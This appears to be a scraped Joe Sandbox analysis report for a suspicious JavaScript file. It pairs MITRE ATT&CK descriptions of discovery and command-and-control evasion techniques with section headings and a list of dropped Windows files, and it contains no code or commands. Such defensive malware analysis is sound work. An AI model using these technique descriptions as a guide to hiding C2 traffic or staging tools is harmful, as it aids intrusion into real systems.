Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6515707756641447.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d6f724e9-1f49-4a73-9c03-8c324f5caf47.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6532

Windows Analysis Report
6515707756641447.js